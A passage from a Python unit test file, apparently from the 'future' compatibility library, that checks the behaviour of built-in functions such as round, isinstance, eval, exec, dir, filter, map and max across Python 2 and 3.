test_isinstance_tuple_of_types(self):\n # These two should be equivalent, even if ``int`` is a special\n # backported type.\n label = 1\n self.assertTrue(isinstance(label, (float, Decimal)) or\n isinstance(label, int))\n self.assertTrue(isinstance(label, (float, Decimal, int)))\n self.assertTrue(isinstance(10**100, (float, Decimal, int)))\n\n self.assertTrue(isinstance(b'blah', (str, bytes)))\n self.assertTrue(isinstance(b'blah', (bytes, float, int)))\n\n self.assertFalse(isinstance(b'blah', (str, Decimal, float, int)))\n\n self.assertTrue(isinstance('blah', (str, Decimal, float, int)))\n self.assertTrue(isinstance(u'blah', (Decimal, float, int, str)))\n\n self.assertFalse(isinstance('blah', (bytes, Decimal, float, int)))\n\n def test_round(self):\n \"\"\"\n Note that the Python 2.x round() function fails these tests. The\n Python 3.x round() function passes them, as should our custom\n round() function.\n \"\"\"\n self.assertEqual(round(0.1250, 2), 0.12)\n self.assertEqual(round(0.1350, 2), 0.14)\n self.assertEqual(round(0.1251, 2), 0.13)\n self.assertEqual(round(0.125000001, 2), 0.13)\n self.assertEqual(round(123.5, 0), 124.0)\n self.assertEqual(round(123.5), 124)\n self.assertEqual(round(12.35, 2), 12.35)\n self.assertEqual(round(12.35, 1), 12.3)\n self.assertEqual(round(12.35, 0), 12.0)\n self.assertEqual(round(123.5, 1), 123.5)\n\n self.assertTrue(isinstance(round(123.5, 0), float))\n self.assertTrue(isinstance(round(123.5), Integral))\n\n def test_round_negative_ndigits(self):\n self.assertEqual(round(10.1350, 0), 10.0)\n self.assertEqual(round(10.1350, -1), 10.0)\n self.assertEqual(round(10.1350, -2), 0.0)\n self.assertEqual(round(10.1350, -3), 0.0)\n\n self.assertEqual(round(12.35, -1), 10.0)\n self.assertEqual(round(12.35, -2), 0.0)\n self.assertEqual(round(123.5, -1), 120.0)\n self.assertEqual(round(123.5, -2), 100.0)\n self.assertEqual(round(123.551, -2), 100.0)\n self.assertEqual(round(123.551, -3), 0.0)\n\n def test_newnext_doc_example(self):\n # Python 3-style iterator:\n class Upper(object):\n def __init__(self, iterable):\n self._iter = iter(iterable)\n def __next__(self): # note the Py3 interface\n return next(self._iter).upper()\n def __iter__(self):\n return self\n\n # from future.builtins import next\n itr = Upper('hello')\n self.assertEqual(next(itr), 'H')\n self.assertEqual(next(itr), 'E')\n # This doesn't work on Py2 because next() isn't defined:\n # self.assertEqual(list(itr), 'LLO')\n\n # Check that regular Py2 iterators with just a .next method also work:\n itr2 = iter(['one', 'three', 'five'])\n self.assertEqual(next(itr2), 'one')\n\n\n##############################################################\n# Below here are the tests from Py3.3'2 test_builtin.py module\n##############################################################\n\nfrom future.backports.test.support import TESTFN, unlink, run_unittest, check_warnings\nimport ast\nimport collections\n\nimport io\nimport locale\nimport os\nimport pickle\nimport platform\nimport random\nimport sys\nimport traceback\nimport types\n# Imported above more portably (using unittest2 on Py2.6):\nimport warnings\nfrom operator import neg\ntry:\n import pty, signal\nexcept ImportError:\n pty = signal = None\n\n\nclass Squares:\n\n def __init__(self, max):\n self.max = max\n self.sofar = []\n\n def __len__(self): return len(self.sofar)\n\n def __getitem__(self, i):\n if not 0 <= i < self.max: raise IndexError\n n = len(self.sofar)\n while n <= i:\n self.sofar.append(n*n)\n n += 1\n return self.sofar[i]\n\nclass StrSquares:\n\n def __init__(self, max):\n self.max = max\n self.sofar = []\n\n def __len__(self):\n return len(self.sofar)\n\n def __getitem__(self, i):\n if not 0 <= i < self.max:\n raise IndexError\n n = len(self.sofar)\n while n <= i:\n self.sofar.append(str(n*n))\n n += 1\n return self.sofar[i]\n\nclass BitBucket:\n def write(self, line):\n pass\n\ntest_conv_no_sign = [\n ('0', 0),\n ('1', 1),\n ('9', 9),\n ('10', 10),\n ('99', 99),\n ('100', 100),\n ('314', 314),\n (' 314', 314),\n ('314 ', 314),\n (' \\t\\t 314 \\t\\t ', 314),\n (repr(sys.maxsize), sys.maxsize),\n (' 1x', ValueError),\n (' 1 ', 1),\n (' 1\\02 ', ValueError),\n ('', ValueError),\n (' ', ValueError),\n (' \\t\\t ', ValueError),\n (str(b'\\u0663\\u0661\\u0664 ','raw-unicode-escape'), 314),\n (chr(0x200), ValueError),\n]\n\ntest_conv_sign = [\n ('0', 0),\n ('1', 1),\n ('9', 9),\n ('10', 10),\n ('99', 99),\n ('100', 100),\n ('314', 314),\n (' 314', ValueError),\n ('314 ', 314),\n (' \\t\\t 314 \\t\\t ', ValueError),\n (repr(sys.maxsize), sys.maxsize),\n (' 1x', ValueError),\n (' 1 ', ValueError),\n (' 1\\02 ', ValueError),\n ('', ValueError),\n (' ', ValueError),\n (' \\t\\t ', ValueError),\n (str(b'\\u0663\\u0661\\u0664 ','raw-unicode-escape'), 314),\n (chr(0x200), ValueError),\n]\n\nclass TestFailingBool:\n def __bool__(self):\n raise RuntimeError\n # On Py2:\n def __nonzero__(self):\n raise RuntimeError\n\nclass TestFailingIter:\n def __iter__(self):\n raise RuntimeError\n\ndef filter_char(arg):\n return ord(arg) > ord(\"d\")\n\ndef map_char(arg):\n return chr(ord(arg)+1)\n\nclass BuiltinTest(unittest.TestCase):\n # Helper to check picklability\n def check_iter_pickle(self, it, seq):\n itorg = it\n d = pickle.dumps(it)\n it = pickle.loads(d)\n self.assertEqual(type(itorg), type(it))\n self.assertEqual(list(it), seq)\n\n #test the iterator after dropping one from it\n it = pickle.loads(d)\n try:\n next(it)\n except StopIteration:\n return\n d = pickle.dumps(it)\n it = pickle.loads(d)\n self.assertEqual(list(it), seq[1:])\n\n def test_import(self):\n __import__('sys')\n __import__('time')\n __import__('string')\n __import__(name='sys')\n __import__(name='time', level=0)\n self.assertRaises(ImportError, __import__, 'spamspam')\n self.assertRaises(TypeError, __import__, 1, 2, 3, 4)\n self.assertRaises(ValueError, __import__, '')\n self.assertRaises(TypeError, __import__, 'sys', name='sys')\n\n def test_abs(self):\n # int\n self.assertEqual(abs(0), 0)\n self.assertEqual(abs(1234), 1234)\n self.assertEqual(abs(-1234), 1234)\n self.assertTrue(abs(-sys.maxsize-1) > 0)\n # float\n self.assertEqual(abs(0.0), 0.0)\n self.assertEqual(abs(3.14), 3.14)\n self.assertEqual(abs(-3.14), 3.14)\n # str\n self.assertRaises(TypeError, abs, 'a')\n # bool\n self.assertEqual(abs(True), 1)\n self.assertEqual(abs(False), 0)\n # other\n self.assertRaises(TypeError, abs)\n self.assertRaises(TypeError, abs, None)\n class AbsClass(object):\n def __abs__(self):\n return -5\n self.assertEqual(abs(AbsClass()), -5)\n\n def test_all(self):\n self.assertEqual(all([2, 4, 6]), True)\n self.assertEqual(all([2, None, 6]), False)\n self.assertRaises(RuntimeError, all, [2, TestFailingBool(), 6])\n self.assertRaises(RuntimeError, all, TestFailingIter())\n self.assertRaises(TypeError, all, 10) # Non-iterable\n self.assertRaises(TypeError, all) # No args\n self.assertRaises(TypeError, all, [2, 4, 6], []) # Too many args\n self.assertEqual(all([]), True) # Empty iterator\n self.assertEqual(all([0, TestFailingBool()]), False)# Short-circuit\n S = [50, 60]\n self.assertEqual(all(x > 42 for x in S), True)\n S = [50, 40, 60]\n self.assertEqual(all(x > 42 for x in S), False)\n\n def test_any(self):\n self.assertEqual(any([None, None, None]), False)\n self.assertEqual(any([None, 4, None]), True)\n self.assertRaises(RuntimeError, any, [None, TestFailingBool(), 6])\n self.assertRaises(RuntimeError, any, TestFailingIter())\n self.assertRaises(TypeError, any, 10) # Non-iterable\n self.assertRaises(TypeError, any) # No args\n self.assertRaises(TypeError, any, [2, 4, 6], []) # Too many args\n self.assertEqual(any([]), False) # Empty iterator\n self.assertEqual(any([1, TestFailingBool()]), True) # Short-circuit\n S = [40, 60, 30]\n self.assertEqual(any(x > 42 for x in S), True)\n S = [10, 20, 30]\n self.assertEqual(any(x > 42 for x in S), False)\n\n def test_ascii(self):\n # Was: self.assertEqual(ascii(''), \"''\") # '\\'\\'')\n # Heisenbug on Py2.7?!\n self.assertEqual(ascii(0), '0')\n self.assertEqual(ascii(()), '()')\n self.assertEqual(ascii([]), '[]')\n self.assertEqual(ascii({}), '{}')\n a = []\n a.append(a)\n self.assertEqual(ascii(a), '[[...]]')\n a = {}\n a[0] = a\n self.assertEqual(ascii(a), '{0: {...}}')\n # Advanced checks for unicode strings\n def _check_uni(s):\n self.assertEqual(ascii(s), repr(s))\n _check_uni(\"'\")\n _check_uni('\"')\n _check_uni('\"\\'')\n _check_uni('\\0')\n _check_uni('\\r\\n\\t .')\n # Unprintable non-ASCII characters\n _check_uni('\\x85')\n _check_uni('\\u1fff')\n _check_uni('\\U00012fff')\n # Lone surrogates\n _check_uni('\\ud800')\n _check_uni('\\udfff')\n\n # Issue #9804: surrogates should be joined even for printable\n # wide characters (UCS-2 builds).\n\n # Fails on Py2.7. Was:\n # self.assertEqual(ascii('\\U0001d121'), \"'\\\\U0001d121'\")\n # # All together\n # s = \"'\\0\\\"\\n\\r\\t abcd\\x85é\\U00012fff\\uD800\\U0001D121xxx.\"\n # self.assertEqual(ascii(s),\n # r\"\"\"'\\'\\x00\"\\n\\r\\t abcd\\x85\\xe9\\U00012fff\\ud800\\U0001d121xxx.'\"\"\")\n\n def test_neg(self):\n x = -sys.maxsize-1\n self.assertTrue(isinstance(x, int))\n self.assertEqual(-x, sys.maxsize+1)\n\n def test_callable(self):\n self.assertTrue(callable(len))\n self.assertFalse(callable(\"a\"))\n self.assertTrue(callable(callable))\n self.assertTrue(callable(lambda x, y: x + y))\n self.assertFalse(callable(__builtins__))\n def f(): pass\n self.assertTrue(callable(f))\n\n class C1(object): # Was: class C1: (old-style class on Py2)\n def meth(self): pass\n self.assertTrue(callable(C1))\n c = C1()\n self.assertTrue(callable(c.meth))\n self.assertFalse(callable(c))\n\n # __call__ is looked up on the class, not the instance\n c.__call__ = None\n self.assertFalse(callable(c))\n c.__call__ = lambda self: 0\n self.assertFalse(callable(c))\n del c.__call__\n self.assertFalse(callable(c))\n\n class C2(object):\n def __call__(self): pass\n c2 = C2()\n self.assertTrue(callable(c2))\n c2.__call__ = None\n self.assertTrue(callable(c2))\n class C3(C2): pass\n c3 = C3()\n self.assertTrue(callable(c3))\n\n def test_chr(self):\n self.assertEqual(chr(32), ' ')\n self.assertEqual(chr(65), 'A')\n self.assertEqual(chr(97), 'a')\n self.assertEqual(chr(0xff), '\\xff')\n self.assertRaises(ValueError, chr, 1<<24)\n self.assertRaises(TypeError, chr)\n self.assertEqual(chr(0x0000FFFF), \"\\U0000FFFF\")\n self.assertRaises(ValueError, chr, -1)\n self.assertRaises(ValueError, chr, 0x00110000)\n self.assertRaises((OverflowError, ValueError), chr, 2**32)\n\n @unittest.skip('FIXME: skip on narrow builds?')\n def test_ord_big(self):\n \"\"\"\n These tests seem to fail on OS X (narrow Python build?)\n \"\"\"\n self.assertEqual(chr(sys.maxunicode),\n str('\\\\U0010ffff'.encode(\"ascii\"), 'unicode-escape'))\n self.assertEqual(ord(\"\\U0000FFFF\"), 0x0000FFFF)\n self.assertEqual(ord(\"\\U00010000\"), 0x00010000)\n self.assertEqual(ord(\"\\U00010001\"), 0x00010001)\n self.assertEqual(ord(\"\\U000FFFFE\"), 0x000FFFFE)\n self.assertEqual(ord(\"\\U000FFFFF\"), 0x000FFFFF)\n self.assertEqual(ord(\"\\U00100000\"), 0x00100000)\n self.assertEqual(ord(\"\\U00100001\"), 0x00100001)\n self.assertEqual(ord(\"\\U0010FFFE\"), 0x0010FFFE)\n self.assertEqual(ord(\"\\U0010FFFF\"), 0x0010FFFF)\n\n @unittest.skip('FIXME: skip on narrow builds?')\n def test_chr_big(self):\n \"\"\"\n These tests seem to fail on OS X (narrow Python build?)\n \"\"\"\n self.assertEqual(ord(chr(0x10FFFF)), 0x10FFFF)\n self.assertEqual(chr(0x00010000), \"\\U00010000\")\n self.assertEqual(chr(0x00010001), \"\\U00010001\")\n self.assertEqual(chr(0x000FFFFE), \"\\U000FFFFE\")\n self.assertEqual(chr(0x000FFFFF), \"\\U000FFFFF\")\n self.assertEqual(chr(0x00100000), \"\\U00100000\")\n self.assertEqual(chr(0x00100001), \"\\U00100001\")\n self.assertEqual(chr(0x0010FFFE), \"\\U0010FFFE\")\n self.assertEqual(chr(0x0010FFFF), \"\\U0010FFFF\")\n\n def test_compile(self):\n compile('print(1)\\n', '', 'exec')\n bom = b'\\xef\\xbb\\xbf'\n compile(bom + b'print(1)\\n', '', 'exec')\n compile(source='pass', filename='?', mode='exec')\n compile(dont_inherit=0, filename='tmp', source='0', mode='eval')\n compile('pass', '?', dont_inherit=1, mode='exec')\n # Fails on Py2.7:\n # Was: compile(memoryview(b\"text\"), \"name\", \"exec\")\n self.assertRaises(TypeError, compile)\n self.assertRaises(ValueError, compile, 'print(42)\\n', '', 'badmode')\n self.assertRaises(ValueError, compile, 'print(42)\\n', '', 'single', 0xff)\n # Raises TypeError in Python < v3.5, ValueError in v3.5:\n self.assertRaises((TypeError, ValueError), compile, chr(0), 'f', 'exec')\n self.assertRaises(TypeError, compile, 'pass', '?', 'exec',\n mode='eval', source='0', filename='tmp')\n compile('print(\"\\xe5\")\\n', '', 'exec')\n self.assertRaises(ValueError, compile, str('a = 1'), 'f', 'bad')\n\n # test the optimize argument\n # These tests fail on Py2.7 ...\n\n # codestr = '''def f():\n # \"\"\"doc\"\"\"\n # try:\n # assert False\n # except AssertionError:\n # return (True, f.__doc__)\n # else:\n # return (False, f.__doc__)\n # '''\n # def f(): \"\"\"doc\"\"\"\n # values = [(-1, __debug__, f.__doc__),\n # (0, True, 'doc'),\n # (1, False, 'doc'),\n # (2, False, None)]\n # for optval, debugval, docstring in values:\n # # test both direct compilation and compilation via AST\n # codeobjs = []\n # codeobjs.append(compile(codestr, \"\", \"exec\", optimize=optval))\n # tree = ast.parse(codestr)\n # codeobjs.append(compile(tree, \"\", \"exec\", optimize=optval))\n # for code in codeobjs:\n # ns = {}\n # exec_(code, ns)\n # rv = ns['f']()\n # self.assertEqual(rv, (debugval, docstring))\n\n def test_delattr(self):\n sys.spam = 1\n delattr(sys, 'spam')\n self.assertRaises(TypeError, delattr)\n\n def test_dir(self):\n # dir(wrong number of arguments)\n self.assertRaises(TypeError, dir, 42, 42)\n\n # dir() - local scope\n local_var = 1\n self.assertIn('local_var', dir())\n\n # dir(module)\n self.assertIn('exit', dir(sys))\n\n # dir(module_with_invalid__dict__)\n class Foo(types.ModuleType):\n __dict__ = 8\n f = Foo(native_str(\"foo\"))\n self.assertRaises(TypeError, dir, f)\n\n # dir(type)\n self.assertIn(\"strip\", dir(str))\n self.assertNotIn(\"__mro__\", dir(str))\n\n # dir(obj)\n class Foo(object):\n def __init__(self):\n self.x = 7\n self.y = 8\n self.z = 9\n f = Foo()\n self.assertIn(\"y\", dir(f))\n\n # dir(obj_no__dict__)\n class Foo(object):\n __slots__ = []\n f = Foo()\n self.assertIn(\"__repr__\", dir(f))\n\n # dir(obj_no__class__with__dict__)\n # (an ugly trick to cause getattr(f, \"__class__\") to fail)\n class Foo(object):\n __slots__ = [\"__class__\", \"__dict__\"]\n def __init__(self):\n self.bar = \"wow\"\n f = Foo()\n self.assertNotIn(\"__repr__\", dir(f))\n self.assertIn(\"bar\", dir(f))\n\n # dir(obj_using __dir__)\n class Foo(object):\n def __dir__(self):\n return [\"kan\", \"ga\", \"roo\"]\n f = Foo()\n self.assertTrue(dir(f) == [\"ga\", \"kan\", \"roo\"])\n\n # dir(obj__dir__tuple)\n # Was:\n # class Foo(object):\n # def __dir__(self):\n # return (\"b\", \"c\", \"a\")\n # res = dir(Foo())\n # self.assertIsInstance(res, list)\n # self.assertTrue(res == [\"a\", \"b\", \"c\"])\n\n # dir(obj__dir__not_sequence)\n class Foo(object):\n def __dir__(self):\n return 7\n f = Foo()\n self.assertRaises(TypeError, dir, f)\n\n # These tests fail on Py2:\n # # dir(traceback)\n # try:\n # raise IndexError\n # except:\n # self.assertEqual(len(dir(sys.exc_info()[2])), 4)\n #\n # # test that object has a __dir__()\n # self.assertEqual(sorted([].__dir__()), dir([]))\n\n def test_divmod(self):\n self.assertEqual(divmod(12, 7), (1, 5))\n self.assertEqual(divmod(-12, 7), (-2, 2))\n self.assertEqual(divmod(12, -7), (-2, -2))\n self.assertEqual(divmod(-12, -7), (1, -5))\n\n self.assertEqual(divmod(-sys.maxsize-1, -1), (sys.maxsize+1, 0))\n\n for num, denom, exp_result in [ (3.25, 1.0, (3.0, 0.25)),\n (-3.25, 1.0, (-4.0, 0.75)),\n (3.25, -1.0, (-4.0, -0.75)),\n (-3.25, -1.0, (3.0, -0.25))]:\n result = divmod(num, denom)\n self.assertAlmostEqual(result[0], exp_result[0])\n self.assertAlmostEqual(result[1], exp_result[1])\n\n self.assertRaises(TypeError, divmod)\n\n def test_eval(self):\n self.assertEqual(eval('1+1'), 2)\n self.assertEqual(eval(' 1+1\\n'), 2)\n globals = {'a': 1, 'b': 2}\n locals = {'b': 200, 'c': 300}\n self.assertEqual(eval('a', globals) , 1)\n self.assertEqual(eval('a', globals, locals), 1)\n self.assertEqual(eval('b', globals, locals), 200)\n self.assertEqual(eval('c', globals, locals), 300)\n globals = {'a': 1, 'b': 2}\n locals = {'b': 200, 'c': 300}\n bom = b'\\xef\\xbb\\xbf'\n self.assertEqual(eval(bom + b'a', globals, locals), 1)\n self.assertEqual(eval('\"\\xe5\"', globals), \"\\xe5\")\n self.assertRaises(TypeError, eval)\n self.assertRaises(TypeError, eval, ())\n self.assertRaises(SyntaxError, eval, bom[:2] + b'a')\n\n def test_general_eval(self):\n # Tests that general mappings can be used for the locals argument\n\n class M:\n \"Test mapping interface versus possible calls from eval().\"\n def __getitem__(self, key):\n if key == 'a':\n return 12\n raise KeyError\n def keys(self):\n return list('xyz')\n\n m = M()\n g = globals()\n self.assertEqual(eval('a', g, m), 12)\n self.assertRaises(NameError, eval, 'b', g, m)\n self.assertEqual(eval('dir()', g, m), list('xyz'))\n self.assertEqual(eval('globals()', g, m), g)\n self.assertEqual(eval('locals()', g, m), m)\n self.assertRaises(TypeError, eval, 'a', m)\n class A:\n \"Non-mapping\"\n pass\n m = A()\n self.assertRaises(TypeError, eval, 'a', g, m)\n\n # Verify that dict subclasses work as well\n class D(dict):\n def __getitem__(self, key):\n if key == 'a':\n return 12\n return dict.__getitem__(self, key)\n def keys(self):\n return list('xyz')\n\n d = D()\n self.assertEqual(eval('a', g, d), 12)\n self.assertRaises(NameError, eval, 'b', g, d)\n self.assertEqual(eval('dir()', g, d), list('xyz'))\n self.assertEqual(eval('globals()', g, d), g)\n self.assertEqual(eval('locals()', g, d), d)\n\n # Verify locals stores (used by list comps)\n eval('[locals() for i in (2,3)]', g, d)\n if PY3:\n from collections import UserDict\n else:\n from UserDict import UserDict\n eval('[locals() for i in (2,3)]', g, UserDict())\n\n class SpreadSheet:\n \"Sample application showing nested, calculated lookups.\"\n _cells = {}\n def __setitem__(self, key, formula):\n self._cells[key] = formula\n def __getitem__(self, key):\n return eval(self._cells[key], globals(), self)\n\n ss = SpreadSheet()\n ss['a1'] = '5'\n ss['a2'] = 'a1*6'\n ss['a3'] = 'a2*7'\n self.assertEqual(ss['a3'], 210)\n\n # Verify that dir() catches a non-list returned by eval\n # SF bug #1004669\n class C:\n def __getitem__(self, item):\n raise KeyError(item)\n def keys(self):\n return 1 # used to be 'a' but that's no longer an error\n self.assertRaises(TypeError, eval, 'dir()', globals(), C())\n\n def test_exec_(self):\n g = {}\n exec_('z = 1', g)\n if '__builtins__' in g:\n del g['__builtins__']\n self.assertEqual(g, {'z': 1})\n\n exec_('z = 1+1', g)\n if '__builtins__' in g:\n del g['__builtins__']\n self.assertEqual(g, {'z': 2})\n g = {}\n l = {}\n\n with check_warnings():\n warnings.filterwarnings(\"ignore\", \"global statement\",\n module=\"\")\n exec_('global a; a = 1; b = 2', g, l)\n if '__builtins__' in g:\n del g['__builtins__']\n if '__builtins__' in l:\n del l['__builtins__']\n self.assertEqual((g, l), ({'a': 1}, {'b': 2}))\n\n def test_exec_globals(self):\n code = compile(\"print('Hello World!')\", \"\", \"exec\")\n # no builtin function\n # Was:\n # self.assertRaisesRegex(NameError, \"name 'print' is not defined\",\n # exec_, code, {'__builtins__': {}})\n # Now:\n self.assertRaises(NameError,\n exec_, code, {'__builtins__': {}})\n # __builtins__ must be a mapping type\n # Was:\n # self.assertRaises(TypeError,\n # exec_, code, {'__builtins__': 123})\n # Raises a NameError again on Py2\n\n # no __build_class__ function\n code = compile(\"class A: pass\", \"\", \"exec\")\n # Was:\n # self.assertRaisesRegex(NameError, \"__build_class__ not found\",\n # exec_, code, {'__builtins__': {}})\n self.assertRaises(NameError,\n exec_, code, {'__builtins__': {}})\n\n class frozendict_error(Exception):\n pass\n\n class frozendict(dict):\n def __setitem__(self, key, value):\n raise frozendict_error(\"frozendict is readonly\")\n\n # This test seems to fail with \"TypeError: 'module' object is not iterable\":\n # # read-only builtins\n # frozen_builtins = frozendict(__builtins__)\n # code = compile(\"__builtins__['superglobal']=2; print(superglobal)\", \"test\", \"exec\")\n # self.assertRaises(frozendict_error,\n # exec_, code, {'__builtins__': frozen_builtins})\n\n # read-only globals\n namespace = frozendict({})\n code = compile(\"x=1\", \"test\", \"exec\")\n self.assertRaises(frozendict_error,\n exec_, code, namespace)\n\n def test_exec_redirected(self):\n savestdout = sys.stdout\n sys.stdout = None # Whatever that cannot flush()\n try:\n # Used to raise SystemError('error return without exception set')\n exec_('a')\n except NameError:\n pass\n finally:\n sys.stdout = savestdout\n\n def test_filter(self):\n self.assertEqual(list(filter(lambda c: 'a' <= c <= 'z', 'Hello World')), list('elloorld'))\n self.assertEqual(list(filter(None, [1, 'hello', [], [3], '', None, 9, 0])), [1, 'hello', [3], 9])\n self.assertEqual(list(filter(lambda x: x > 0, [1, -3, 9, 0, 2])), [1, 9, 2])\n self.assertEqual(list(filter(None, Squares(10))), [1, 4, 9, 16, 25, 36, 49, 64, 81])\n self.assertEqual(list(filter(lambda x: x%2, Squares(10))), [1, 9, 25, 49, 81])\n def identity(item):\n return 1\n filter(identity, Squares(5))\n self.assertRaises(TypeError, filter)\n class BadSeq(object):\n def __getitem__(self, index):\n if index<4:\n return 42\n raise ValueError\n self.assertRaises(ValueError, list, filter(lambda x: x, BadSeq()))\n def badfunc():\n pass\n self.assertRaises(TypeError, list, filter(badfunc, range(5)))\n\n # test bltinmodule.c::filtertuple()\n self.assertEqual(list(filter(None, (1, 2))), [1, 2])\n self.assertEqual(list(filter(lambda x: x>=3, (1, 2, 3, 4))), [3, 4])\n self.assertRaises(TypeError, list, filter(42, (1, 2)))\n\n @expectedFailurePY2\n def test_filter_pickle(self):\n f1 = filter(filter_char, \"abcdeabcde\")\n f2 = filter(filter_char, \"abcdeabcde\")\n self.check_iter_pickle(f1, list(f2))\n\n def test_getattr(self):\n self.assertTrue(getattr(sys, 'stdout') is sys.stdout)\n self.assertRaises(TypeError, getattr, sys, 1)\n self.assertRaises(TypeError, getattr, sys, 1, \"foo\")\n self.assertRaises(TypeError, getattr)\n # These tests fail on Py2:\n # self.assertRaises(AttributeError, getattr, sys, chr(sys.maxunicode))\n # unicode surrogates are not encodable to the default encoding (utf8)\n # self.assertRaises(AttributeError, getattr, 1, \"\\uDAD1\\uD51E\")\n # This test fails on Py2\n\n def test_hasattr(self):\n self.assertTrue(hasattr(sys, 'stdout'))\n self.assertRaises(TypeError, hasattr, sys, 1)\n self.assertRaises(TypeError, hasattr)\n # Fails on Py2:\n # self.assertEqual(False, hasattr(sys, chr(sys.maxunicode)))\n\n # Check that hasattr propagates all exceptions outside of\n # AttributeError.\n class A(object):\n def __getattr__(self, what):\n raise SystemExit\n self.assertRaises(SystemExit, hasattr, A(), \"b\")\n class B(object):\n def __getattr__(self, what):\n raise ValueError\n # Was: self.assertRaises(ValueError, hasattr, B(), \"b\")\n # Fails on Py2\n\n def test_hash(self):\n hash(None)\n self.assertEqual(hash(1), hash(1))\n self.assertEqual(hash(1), hash(1.0))\n hash('spam')\n self.assertEqual(hash('spam'), hash(b'spam'))\n hash((0,1,2,3))\n def f(): pass\n self.assertRaises(TypeError, hash, [])\n self.assertRaises(TypeError, hash, {})\n # Bug 1536021: Allow hash to return long objects\n class X:\n def __hash__(self):\n return 2**100\n self.assertTrue(isinstance(hash(X()), int))\n class Z(int):\n def __hash__(self):\n return self\n self.assertEqual(hash(Z(42)), hash(42))\n\n def test_hex(self):\n self.assertEqual(hex(16), '0x10')\n self.assertEqual(hex(-16), '-0x10')\n self.assertRaises(TypeError, hex, {})\n\n def test_id(self):\n id(None)\n id(1)\n id(1.0)\n id('spam')\n id((0,1,2,3))\n id([0,1,2,3])\n id({'spam': 1, 'eggs': 2, 'ham': 3})\n\n # Test input() later, alphabetized as if it were raw_input\n\n def test_iter(self):\n self.assertRaises(TypeError, iter)\n self.assertRaises(TypeError, iter, 42, 42)\n lists = [(\"1\", \"2\"), [\"1\", \"2\"], \"12\"]\n for l in lists:\n i = iter(l)\n self.assertEqual(next(i), '1')\n self.assertEqual(next(i), '2')\n self.assertRaises(StopIteration, next, i)\n\n def test_isinstance(self):\n class C:\n pass\n class D(C):\n pass\n class E:\n pass\n c = C()\n d = D()\n e = E()\n self.assertTrue(isinstance(c, C))\n self.assertTrue(isinstance(d, C))\n self.assertTrue(not isinstance(e, C))\n self.assertTrue(not isinstance(c, D))\n self.assertTrue(not isinstance('foo', E))\n self.assertRaises(TypeError, isinstance, E, 'foo')\n self.assertRaises(TypeError, isinstance)\n\n def test_issubclass(self):\n class C:\n pass\n class D(C):\n pass\n class E:\n pass\n c = C()\n d = D()\n e = E()\n self.assertTrue(issubclass(D, C))\n self.assertTrue(issubclass(C, C))\n self.assertTrue(not issubclass(C, D))\n self.assertRaises(TypeError, issubclass, 'foo', E)\n self.assertRaises(TypeError, issubclass, E, 'foo')\n self.assertRaises(TypeError, issubclass)\n\n def test_len(self):\n self.assertEqual(len('123'), 3)\n self.assertEqual(len(()), 0)\n self.assertEqual(len((1, 2, 3, 4)), 4)\n self.assertEqual(len([1, 2, 3, 4]), 4)\n self.assertEqual(len({}), 0)\n self.assertEqual(len({'a':1, 'b': 2}), 2)\n class BadSeq:\n def __len__(self):\n raise ValueError\n self.assertRaises(ValueError, len, BadSeq())\n class InvalidLen:\n def __len__(self):\n return None\n self.assertRaises(TypeError, len, InvalidLen())\n class FloatLen:\n def __len__(self):\n return 4.5\n self.assertRaises(TypeError, len, FloatLen())\n class HugeLen:\n def __len__(self):\n return sys.maxsize + 1\n # Was: self.assertRaises(OverflowError, len, HugeLen())\n class NoLenMethod(object): pass\n self.assertRaises(TypeError, len, NoLenMethod())\n\n def test_map(self):\n self.assertEqual(\n list(map(lambda x: x*x, range(1,4))),\n [1, 4, 9]\n )\n try:\n from math import sqrt\n except ImportError:\n def sqrt(x):\n return pow(x, 0.5)\n self.assertEqual(\n list(map(lambda x: list(map(sqrt, x)), [[16, 4], [81, 9]])),\n [[4.0, 2.0], [9.0, 3.0]]\n )\n self.assertEqual(\n list(map(lambda x, y: x+y, [1,3,2], [9,1,4])),\n [10, 4, 6]\n )\n\n def plus(*v):\n accu = 0\n for i in v: accu = accu + i\n return accu\n self.assertEqual(\n list(map(plus, [1, 3, 7])),\n [1, 3, 7]\n )\n self.assertEqual(\n list(map(plus, [1, 3, 7], [4, 9, 2])),\n [1+4, 3+9, 7+2]\n )\n self.assertEqual(\n list(map(plus, [1, 3, 7], [4, 9, 2], [1, 1, 0])),\n [1+4+1, 3+9+1, 7+2+0]\n )\n self.assertEqual(\n list(map(int, Squares(10))),\n [0, 1, 4, 9, 16, 25, 36, 49, 64, 81]\n )\n def Max(a, b):\n if a is None:\n return b\n if b is None:\n return a\n return max(a, b)\n self.assertEqual(\n list(map(Max, Squares(3), Squares(2))),\n [0, 1]\n )\n self.assertRaises(TypeError, map)\n self.assertRaises(TypeError, map, lambda x: x, 42)\n class BadSeq:\n def __iter__(self):\n raise ValueError\n yield None\n self.assertRaises(ValueError, list, map(lambda x: x, BadSeq()))\n def badfunc(x):\n raise RuntimeError\n self.assertRaises(RuntimeError, list, map(badfunc, range(5)))\n\n @expectedFailurePY2\n def test_map_pickle(self):\n m1 = map(map_char, \"Is this the real life?\")\n m2 = map(map_char, \"Is this the real life?\")\n self.check_iter_pickle(m1, list(m2))\n\n def test_max(self):\n self.assertEqual(max('123123'), '3')\n self.assertEqual(max(1, 2, 3), 3)\n self.assertEqual(max((1, 2, 3, 1, 2, 3)), 3)\n self.assertEqual(max([1, 2, 3, 1, 2, 3]), 3)\n\n self.assertEqual(max(1, 2, 3.0), 3.0)\n self.assertEqual(max(1, 2.0, 3), 3)\n self.assertEqual(max(1.0, 2, 3), 3)\n\n for stmt in (\n \"max(key=int)\", # no args\n \"max(1, key=int)\", # single arg not iterable\n \"max(1, 2, keystone=int)\", # wrong keyword\n \"max(1, 2, key=int, abc=int)\", # two many keywords\n \"max(1, 2, key=1)\", # keyfunc is not callable\n ):\n try:\n exec_(stmt, globals())\n except TypeError:\n pass\n else:\n self.fail(stmt)\n\n self.assertEqual(max((1,), key=neg), 1) # one elem iterable\n self.assertEqual(max((1,2), key=neg), 1) # two elem iterable\n self.assertEqual(max(1, 2, key=neg), 1) # two elems\n\n data = [random.randrange(200) for i in range(100)]\n keys = dict((elem, random.randrange(50)) for elem in data)\n f = keys.__getitem__\n self.assertEqual(max(data, key=f),\n sorted(reversed(data), key=f)[-1])\n\n self.assertEqual(max([], default=5), 5)\n with self.assertRaises(TypeError):\n max(None, default=5)\n with self.assertRaises(TypeError):\n max(1, 2, default=0)\n self.assertEqual(max([], default=0), 0)\n self.assertIs(max([], default=None), None)\n\n def test_min(self):\n self.assertEqual(min('123123'), '1')\n self.assertEqual(min(1, 2, 3), 1)\n self.assertEqual(min((1, 2, 3, 1, 2, 3)), 